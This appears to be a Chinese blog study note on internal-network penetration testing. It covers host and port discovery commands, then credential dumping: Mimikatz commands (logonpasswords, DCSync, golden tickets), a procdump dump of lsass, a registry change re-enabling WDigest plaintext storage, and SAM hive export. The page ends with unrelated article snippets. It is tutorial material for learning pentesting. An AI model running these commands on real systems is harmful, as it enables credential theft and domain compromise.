10月2日笔记(内网资源探测篇)
内网资源探测
在内网渗透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。这些信息可以帮助测试人员发现内网的薄弱资源,确定后续的攻击方向。
发现内网存活主机
基于ICMP发现存活主机
可以使用ICMP循环对整个网段中的每个IP地址执行ping命令,所以能够ping通的ip地址即为内网中存活的主机。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I |findstr "TTL="
说明该局域网C段存活三台主机。
基于NetBIOS(网络基本输入/输出系统)协议发现存活主机
NetBIOS提供OSI/RM的会话层(在TCP/IP模型中包含在应用层中)服务,让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。严格来说,NetBIOS不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局域网都是在NetBIOS协议的基础上工作的,操作系统可以利用WTNS服务、广播、Lmhost文件等模式将NetBIOS名解析为相应的IP地址。NetBIOS的工作流程就是正常的机器名解析、查询、应答的过程。在Windows中,默认安装TCP/IP后会自动安装NetBIOS。
在实际利用时,向局域网的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等信息。NBTScan是一款用于扫描Windows网络上NetBIOS名称的程序,用于发现内网中存活的Windows主机。NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的P地址、NetBIOS计算机名、登录用户名和MAC地址。
下载链接:nbtscan下载
将nbscan.exe上传到目标主机,执行以下命令:
nbscan.exe 192.168.52.1/24
基于UDP发现存活主机
在实际利用中,可以将一个空的UDP报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP探测就马上得到一个ICMP端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。
Unicornscan是Kali Linux平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过UDP协议扫描内网的存活主机。
unicornscan -mU 192.168.52.0/24
基于ARP发现存活主机
ARP(Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标IP地址的ARP请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该P地址和物理地址存入本机ARP缓存,并保留一定时间,下次请求时直接查询ARP缓存,以节约资源。
在实际利用中,可以向网络发送一个ARP请求,若目标主机处于活跃状态,则其一定会回应一个ARP响应,否则不会做出任何回应。
1、ARP-Scan的使用
ARP-Scan是一款快速、便捷的内网扫描工具,利用ARP发现内网中存活的主机。将工具上传到目标主机。
项目:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan
执行以下命令,即可扫描内网中存活的主机。
arp-scan.exe -t 192.168.52.0/24
2、PowerShell的利用
脚本地址:git/Invoke-ARPScan.ps1 at master · sinmygit/git · GitHub
Empire渗透框架的Invoke-ARPScan.psl脚本可利用ARP发现内网存活主机。使用时,需要将脚本导入执行:
Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.52.0/24
发现无法执行脚本,以管理员的身份打开powershell。执行以下命令:
set-ExecutionPolicy RemoteSigned
更改策略之后就不会报错了。
基于SMB(Server Message Block,服务器消息块)协议发现存活主机
SMB又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口,目前倾向于使用445端口。
在实际利用中,可以探测局域网中存在的SMB服务,从而发现更多的存活主机。多用于windows主机的发现。
CrackMapExec(简称CME)是一款十分强大的后渗透利用工具,在Kali Linux上可以直接使用apt-get命令进行安装。CrackMapExec能够枚举登录用户、枚举SMB服务列表、执行WNRM攻击等功能,可以帮助测试人员自动化评估大型域网络的安全性。执行以下命令:
crackmapexec smb 193.168.52.0/24
探测局域网中存在的SMB服务,从而发现内网中的存活主机。
内网端口扫描
1、使用telnet探测端口
Telnet是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet命令可以简单测试指定的端口号是正常打开还是关闭状态。
telnet <IP> <Port>
像这种就是说明对应的端口是开放的。
2、使用nmap进行端口扫描
扫描指定端口:
nmap -p <Port> <ip>
eg:nmap -p 80,88,135,139,443,8080,3306,3389 192.168.52.138
扫描目标主机全部开发端口:
nmap -p 1-65535 -sS 192.168.52.138
利用MetaSploit探测内网
获取端口Banner信息
Banner中可能包含一些敏感信息。通过查看端口的Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。
1、利用Netcat(nc)获取端口Banner
通过指定netcat的“nv”选项,可以在连接指定的端口时获取该端口的Banner信息。
nc -nv <ip> <port>
我这里的是没有这个提示,但是有些端口可能会有。
2、利用Telnet获取端口Banner
如果端口开放,使用telnet连接后,也会返回相应的Banner信息。
telnet <IP> <Port>
3、利用nmap获取端口Banner
在nmap中指定脚本“–script=banner”,可以在端口扫描过程中获取端口的Banner信息。
nmap --script=banner -p <ports> <IP>
用户凭据收集
当测试人员获取某台机器后,会以被攻陷的主机为跳板进行横向渗透,进一步扩大所掌控的资源范围。但是横向渗透中的很多攻击都需要先获取到域内用户的密码或者哈希值才能进行,如:哈希传递攻击、票据传递攻击等。所以在进行信息收集时,要尽可能收集域内用户的登录凭据等信息。
获取域内单机密码和哈希值
SAM文件是什么?lsass.exe系统进程的作用?
在Windows中,**SAM文件是Windows用户的账户数据库,位于系统的%SystemRoot%\System3\Config目录中,所有本地用户的用户名、密码哈希值等信息都存储在这个文件中。**用户输入密码登录时,用户输入的明文密码被转换为哈希值,然后与SAM文件中的哈希值对比,若相同,则认证成功。**lsass.exe是Windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。**在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码经过WDigest和Tspkg模块调用后,会对其使用可逆的算法进行加密并存储在内存中。
用于获取主机的用户密码和哈希值的工具大多都是通过多去SAM文件或者访问lsass.exe进程的内存数据等操作实现的。这些操作大多都需要管理员权限,意味着需要配合一些提权操作。
Mimikatz工具的使用
Mimikatz是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限、注入进程、读取进程内存等,广泛用于内网渗透测试领域
项目地址:https://github.com/gentilkiwi/mimikatz/
Mimikatz使用教程
privilege(提权相关模块)
attention:privilege::debug进入mimikatz命令交互界面的首要操作,也是最基本的操作。
privilege::security //调整为安全权限
privilege::restore //恢复原来权限
privilege::sysenv //调整为系统环境权限
privilege::driver //调整为装载驱动权限
sekurlsa(与用户凭证相关的模块,可以从lsass进程中提取passwords、keys、tickets等信息)
sekurlsa::msv //读取用户对应密码的各种加密协议的密文(NTML、SHA1等),低版本windows可以读取为明文
sekurlsa::wdigest //wdigest凭证,运用程序漏洞可逆的手法去读取密码明文
sekurlsa::tspkg //tspkg凭证sekurlsa::logonpasswords //常用并重点使用!!!直接集成上面多条指令功能,读取用户各种凭证和信息。sekurlsa::tickets //列出kerberos中的票据
sekurlsa::tickets /export //导出票据#下面两条命令结合使用,可以将转储的lsass进程为lsass.dmp文件,离线读取内存信息
sekurlsa::minidump <filename>或lsass.dump //加载对应文件(lsass.dump)
sekurlsa::logonPasswords full //读取文件信息
kerberos 协议相关模块(常用于 黄金/白银票据)
kerberos::list //列出系统中的所有票据
kerberos::purge //清除系统中的票据
kerberos::ptt //pass-the-ticket,票据传递攻击(内网横移操作)
kerberos::golden //伪造黄金和白银票据使用,具体构造方法不相同kerberos::ptc //票据路径
kerberos::ptc <票据名> //导入票据
process(进程模块)
process::list //列出进程列表
process::exports //导出进程列表
process::start //开始一个进程
process::stop //停止一个进程
service(服务管理模块)
service::start //开始服务。
service::remove //移除服务。
service::stop //停止服务。
service::suspend //暂停服务。
service::resume //恢复服务。
service::preshutdown //关闭服务。
service::shutdown //关闭服务。
service::list //列出服务。
lsadump(对域控操作模块)
Lsadump::secrets //从registry获取保存的密码凭据,可以直接获取明文密码。
lsadump::lsa /patch //读取所有用户的哈希
lsadump::sam //sam表获取Hash
lsadump::dcsync //通过dcsync利用目录复制服务(DRS)从NTDS.DIT文件中拿到密码哈希值(在域控权限下获取)
lsadump::dcsync /domain:xxxx.com /user:xxxx //查看域内指定用户信息,包括NTLM哈希等
lsadump::dcsync /domain:xxxx.com /all /csv //查看所有域用户
1、在线读取lsass进程内存
上传mimikatz.exe到目标主机之后。
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit
2、离线读取lsass内存文件
mimikatz无法上传到目标主机,可以使用Procdump工具进行进程离线存储成dmp文件。
项目地址:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
首先在目标主机上传Prodump程序(微软的不会杀掉),执行以下命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后在攻击机上执行一下命令:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
注意:微软在2014年5月发布了KB2871997补丁,关闭了WDigest功能,禁止从内存中获取明文密码,且Windows Server20l2及以上版本默认关闭WDigest功能。但是测试人员通过修改注册表,可以重新开启WDigest功能。当用户注销或者重新登录后,就可以重新获取到用户的明文密码。
开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
在线读取本地SAM文件
将mimikatz.exe上传到目标主机后执行以下命令:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
token::elevate------------用于提升至SYSTEM权限
读取SAM文件中保存的用户登录凭据,可以导出当前系统重所有本地用户的哈希值。
离线读取本地的SAM文件
离线读取就是将SAM文件导出,使用Mimikatz加载并读取其中的用户登录凭据等信息。注意,为了提高SAM文件的安全性以防止离线破解,Windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM文件中,与SAM文件位于相同目录下。
在目标主机上导出SAM和SYSTEM两个文件。因为系统在运行时,这两个文件是被锁定的,所以需要借助一些工具来实现,而PowerSploit项目中提供的Invoke-NinjaCopy.ps1脚本可以完成这项工作。
脚本地址:PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1 at master · PowerShellMafia/PowerSploit · GitHub
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
也可以在管理员权限下执行命令:通过保存注册表的方式导出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
然后将导出的SAM和SYSTEM文件复制到本地,使用Mimikatz加载并读取SAM中的用户凭据信息
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
相关文章:
10月2日笔记(内网资源探测篇)
内网资源探测 在内网渗透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本…...
SpringCloud-基于Docker和Docker-Compose的项目部署
一、初始化环境 1. 卸载旧版本 首先,卸载可能已存在的旧版本 Docker。如果您不确定是否安装过,可以直接执行以下命令: sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logro…...
Linux下的基本指令/命令(一)
目录 基本命令 1. Is命令/指令: 罗列当前目录下指定的文件或者目录. 2. pwd命令: 查看当前工作的路径 3. cd命令: 切换到指定路径下。 只能切换到目录中 4. tree命令: 树状显式目录 使用前要输入命令 yum install -y tree ,用来安装一个…...
从零开始Ubuntu24.04上Docker构建自动化部署(四)Docker安装gitlab
你会发现所有gitlab都无法拉取到的情况下,经查找极狐下的gitlab还可以下载,具体如下: 建议保存地址: https://packages.gitlab.cn/#browse/searchkeyword%3Dgitlab 最新版本: sudo docker pull registry.gitlab.cn…...
No module named ‘_ssl‘
目录 背景具体报错检验升级过程步骤一:升级ssl。步骤二:重新编译安装python 背景 换了台服务器按照之前centos升级python版本升级python正常编译安装成功,但是当使用时又出现了奇怪的报错,估计是机器太老了 具体报错 这个报错也…...
Linux —— Socket编程(三)
一、本章重点 1. tcp服务器实现思路,进一步了解和总结相关的接口 2. 了解日志和守护进程 二、tcp服务器核心思路 tcp版的服务器与udp的不同在于,udp是面向数据报传输数据,在数据传输中不需要建立与客户端的链接,直接用recvfrom…...
5G N2 N3 N6 NB口
在5G架构中,N2、N3和N6是三种关键的接口,每个接口都有其特定的功能和应用场景。 N2接口: N2接口是5G无线接入网(RAN)与5G核心网(5GC)之间的控制面接口。它主要负责传递控制平面消息,…...
【数据结构】堆(Heap)详解
在深入了解堆这一重要的数据结构之前,不妨先回顾一下我之前的作品 ——“二叉树详解”。 上篇文章👉剖析二叉树(Binary Tree) 二叉树作为一种基础的数据结构,为我们理解堆以及其他更复杂的数据结构奠定了坚实的基础。它…...
《Linux从小白到高手》理论篇(四):Linux用户和组相关的命令
List item 本篇介绍Linux用户和组相关的命令,看完本文,有关Linux用户和组相关的常用命令你就掌握了99%了。Linux用户和组相关的命令可以分为以下六类: 一.用户和用户组相关查询操作命令: Id id命令用于显示用户的身份标识。常见…...
OpenGL ES 之EGL(6)
OpenGL ES 之EGL(6) 简述 EGL是OpenGL ES的封装,目的是跨设备跨平台,隔离不同平台对窗口不同的实现。上一节我们基本没有使用到EGL,因为GLSurfaceView帮助我们处理了相关的逻辑,我们这一节来看一下EGL的一些概念以及接口的使用。…...
kotlin 委托
一、类委托 interface DB{fun insert() } class SqliteDB : DB {override fun insert() {println(" SqliteDB insert")} }class MySql : DB{override fun insert() {println(" MySql insert")} }class OracleDB : DB{override fun insert() {println(&quo…...
Stream流的中间方法
一.Stream流的中间方法 注意1:中间方法,返回新的Stream流,原来的Stream流只能使用一次,建议使用链式编程 注意2:修改Stream流中的数据,不会影响原来集合或者数组中的数据 二.filter filter的主要用法是…...
【车载开发系列】ParaSoft单元测试环境配置(四)
【车载开发系列】ParaSoft单元测试环境配置(四) 【车载开发系列】ParaSoft单元测试环境配置(四) 【车载开发系列】ParaSoft单元测试环境配置(四)一. 如何设置过滤二. 如何设置静态扫描的规则三. 如何设置单…...
IDEA 设置自动定位文件
一、场景分析 IDEA 在使用的过程中,发现有时候,打开一个类,它并不能自动帮我们在左侧 Project 树中定位出文件,需要自己手动点击 瞄准 图标。很不方便。 二、解决方法 1、点击 瞄准 图标旁边的 竖三点 2、将 Alwasy Select Opene…...
Nature Machine Intelligence 基于强化学习的扑翼无人机机翼应变飞行控制
尽管无人机技术发展迅速,但复制生物飞行的动态控制和风力感应能力,仍然遥不可及。生物学研究表明,昆虫翅膀上有机械感受器,即钟形感受器campaniform sensilla,探测飞行敏捷性至关重要的复杂气动载荷。 近日࿰…...
[Web安全 网络安全]-XXE 外部实体注入攻击XML
文章目录: 一:前言 1.定义 1.1 XXE 1.2 XML可扩展标记语言 2.DDT文档类型定义 2.1 分类 2.2 元素element DTD元素 DTD属性 2.3 实体entity DTD实体类别 DTD实体声明引用 声明:内部 外部 参数实体 公共实体 引用:…...
8--苍穹外卖-SpringBoot项目中套餐管理 详解(二)
目录 删除套餐 需求分析和设计 代码开发 根据id查询套餐 mapper层 Service层 ServiceImpl层 Mapper层 批量删除套餐 mapper层 Service层 ServiceImpl层 Mapper层 SetmealMapper.xml 修改套餐 需求分析和设计 代码开发 起售停售套餐 需求分析和设计 代码开发…...
测试面试题:pytest断言时,数据是符点类型,如何断言?
在使用 Pytest 进行断言时,如果数据是浮点类型,可以使用以下方法进行断言: 一、使用pytest.approx pytest.approx可以用来比较两个浮点数是否近似相等。例如: import pytestdef test_float_assertion():result 3.14159expecte…...
Python与MongoDB交互
一、基本概念 MongoDB: 一个面向文档的数据库系统,使用BSON(Binary JSON)作为存储格式。集合(Collection): 类似于关系型数据库中的表,是文档的集合。文档(Document): MongoDB中的基…...
安卓AI虚拟女友项目开发的Android开发环境搭建
第五章:Android开发环境搭建与基础入门 5-1 项目讲解思路说明 本文是安卓AI数字虚拟人项目实战的第五章,开发安卓AI安卓版数字虚拟人的Android基础部分。 在本章中,我们将详细介绍如何搭建Android开发环境,包括Android Studio的…...
基于SpringBoot+Vue+MySQL的智能垃圾分类系统
系统展示 用户前台界面 管理员后台界面 系统背景 随着城市化进程的加速,垃圾问题日益凸显,不仅对环境造成污染,也给城市管理带来了巨大挑战。传统的垃圾分类方式不仅费时费力,而且手工操作容易出现错误,导致垃圾分类效…...
你的个人文件管理助手:AI驱动的本地文件整理工具
🌐 引言 在数字化时代,我们经常面临文件管理的挑战。电脑中的文件杂乱无章,寻找特定文件变得既费时又费力。幸运的是,现在有了一款名为本地文件整理器的神器,它利用AI技术帮助你快速、智能地整理文件,同时…...
【PyTorch】环境配置
框架介绍 Pytorch简介 2017年1月,FAIR(Facebook AI Research)发布了PyTorch。PyTorch是在Torch基础上用python语言重新打造的一款深度学习框架。Torch是采用Lua语言作为接口的机器学习框架,但因为Lua语言较为小众,导…...
枫叶MTS格式转换器- 强大、操作简单的MTS、M2TS视频转换工具供大家学习研究参考
一款功能强大、操作简单的MTS、M2TS视频转换工具,欢迎下载使用。 使用本MTS格式转换器可以帮助您将索尼和松下等摄像机录制的MTS、M2TS格式高清视频转换为其他流行的视频格式,如MP4、3GP、AVI、MPEG、WMV、ASF、MOV、RM、VCD、SVCD、DVD、MKV、FLV、SWF、MPG、MP3、WAV、WMA…...
Vscode把全部‘def‘都收起来的快捷键
在 VSCode 中,你可以使用以下快捷键来收起所有函数定义 (def): Windows/Linux: Ctrl K, Ctrl 0macOS: Cmd K, Cmd 0 这个快捷键组合会折叠当前文件中所有的代码块(包括所有函数和类定义)。你可以通过相同的快捷键再次展开这…...
Web和UE5像素流送、通信教程
一、web端配置 首先打开Github地址:https://github.com/EpicGamesExt/PixelStreamingInfrastructure 找到自己虚幻引擎对应版本的项目并下载下来,我这里用的是5.3。 打开项目找到PixelStreamingInfrastructure-master > Frontend > implementat…...
【YOLO目标检测电梯间电动车与人数据集】共4321张、已标注txt格式、有训练好的yolov5的模型
目录 说明图片示例 说明 数据集格式:YOLO格式 图片数量:4321 标注数量(txt文件个数):4321 标注类别数:2 标注类别名称:person、electricBicycle 数据集下载:电梯间电动车与人数据集 图片示例 数据…...
【网络安全】公钥基础设施
1. PKI 定义 1.1 公钥基础设施的概念 公钥基础设施(Public Key Infrastructure,简称PKI)是一种基于公钥密码学的系统,它提供了一套完整的解决方案,用于管理和保护通过互联网传输的信息。PKI的核心功能包括密钥管理、…...
云原生(四十一)| 阿里云ECS服务器介绍
文章目录 阿里云ECS服务器介绍 一、云计算概述 二、什么是公有云 三、公有云优缺点 1、优点 2、缺点 四、公有云品牌 五、市场占有率 六、阿里云ECS概述 七、阿里云ECS特点 阿里云ECS服务器介绍 一、云计算概述 云计算是一种按使用量付费的模式,这种模式…...
计算机网络:计算机网络体系结构 —— OSI 模型 与 TCP/IP 模型
文章目录 计算机网络体系结构OSI 参考模型TCP/IP 参考模型分层的必要性物理层的主要问题数据链路层的主要问题网络层的主要问题运输层的主要问题应用层的主要问题 分层思想的处理方法发送请求路由器转发接受请求发送响应接收响应 计算机网络体系结构 计算机网络体系结构是指将…...
连云港网站建设培训学校/百度推广入口登录
标签定义及使用说明 <abbr> 标签用来表示一个缩写词或者首字母缩略词,如"WWW"或者"NATO"。 通过对缩写词语进行标记,您就能够为浏览器、拼写检查程序、翻译系统以及搜索引擎分度器提供有用的信息。 实例 被标记的缩写词如…...
网站开发程序员是做什么的/网站收录查询平台
$dp[i][m]$表示前$i$使用$m$次阻拦 $w[i]$,$d[i]$表示$i$时刻贪心的最大红包的价值,时间转载于:https://www.cnblogs.com/lxzl/p/11143759.html...
英德市住房城乡建设局网站/营销型网站建设总结
我想通过多边形区域裁剪图像,但无法找到任何可以制作它的库.OpenCV对于这个小东西来说太大了. JJIL [enter link description here]裁剪矩形区域.也许你有任何想法我怎么能实现它?感谢帮助!为Nidhi:尝试这样的东西,如果不起作用 – 为路径创建…...
企业做网站的目的/网络营销项目策划
ecshop的includes下面的lib开头相关函数文件 1.lib_article.php (文章及文章分类相关函数库) function get_cat_articles($cat_id, $page 1, $size 20 ,$requirement) 获得文章分类下的文章列表 function get_article_count($cat_id ,$requirement) 获得指定分类下的文章总…...
浙江网站建设公司推荐/友情网站
匹配中文字符的正则表达式: [u4e00-u9fa5] 评注:匹配中文还真是个头疼的事,有了这个表达式就好办了 匹配双字节字符 ( 包括汉字在内 ) : [^x00-xff] 评注:可以用来计算字符串的长度(一个双字节字符长度计 2…...
iis .htaccess wordpress/自媒体营销的策略和方法
文章目录一、概述二、Hudi CLI三、Spark 与 Hudi 整合使用1)Spark 测试2)Spark 与 Hudi 整合使用1、启动spark-shell2、导入park及Hudi相关包3、定义变量4、模拟生成Trip乘车数据5、将模拟数据List转换为DataFrame数据集6、将数据写入到hudi四、Flink 与…...